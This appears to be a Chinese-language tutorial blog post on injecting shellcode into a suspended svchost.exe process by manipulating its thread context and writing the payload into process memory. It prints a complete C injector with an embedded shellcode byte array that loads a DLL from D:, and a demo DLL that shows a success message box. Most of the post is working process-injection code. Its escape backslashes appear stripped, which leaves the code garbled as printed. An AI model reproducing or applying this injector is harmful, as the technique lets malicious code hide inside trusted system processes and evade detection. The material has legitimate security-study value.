本文主要利用 SetThreadContext 修改进程中的线程上下文来实现Dll注入(ShellCode)。
实现原理
- 首先,使用 CreateProcess 函数创建svchost.exe进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
- 使用 GetThreadContext,设置标志为 CONTEXT_ALL,获取新进程中所有的线程上下文。
- 使用 ReadProcessMemory 读取目标进程的加载基址。
- 在原来的空间中进行覆盖写入 Shellcode。
- 最后,调用 ResumeThread 恢复主线程,让进程继续运行并执行我们的 Shellcode 代码。
EXE主程序
int main()
{
//Dll inject shellcode, path D:x86.dll
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50"
"x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26"
"x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7"
"xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78"
"xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3"
"x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01"
"xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58"
"x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3"
"x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5a"
"x51xffxe0x5fx5fx5ax8bx12xebx8dx5dx8dx85xb0"
"x00x00x00x50x68x4cx77x26x07xffxd5xbbxf0xb5"
"xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80"
"xfbxe0x75x05xbbx47x13x72x6fx6ax00x53xffxd5"
"x44x3ax5cx78x38x36x2ex64x6cx6cx00";
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(STARTUPINFOA);
// 创建挂起进程
if (!CreateProcessA(
"C:\windows\sysWoW64\svchost.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
))
{
printf("CreateProcess failed (%d).n", GetLastError());
return 0;
}
// 获取线程上下文
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pi.hThread, &ctx))
{
printf("GetThreadContext failed (%d).n", GetLastError());
}
// 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
// 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
// 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
DWORD dwImageBase = 0;
DWORD lpNumberOfBytesRead = 0;
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead))
{
printf("ReadProcessMemory failed (%d).n", GetLastError());
return 0;
}
// 在申请的空间中写入shellcode
DWORD NumberOfBytesWritten = 0;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten))
{
printf("WriteProcessMemory failed (%d).n", GetLastError());
}
// 恢复线程执行
if (ResumeThread(pi.hThread) == -1)
{
printf("ResumeThread failed (%d).n", GetLastError());
}
system("pause");
return 0;
}
DLL程序
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "DLL inject successful!", "Successful", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
效果演示
机房租用,北京机房托管,大带宽租用,IDC机房服务器主机租用托管-价格及服务咨询 www.e1idc.net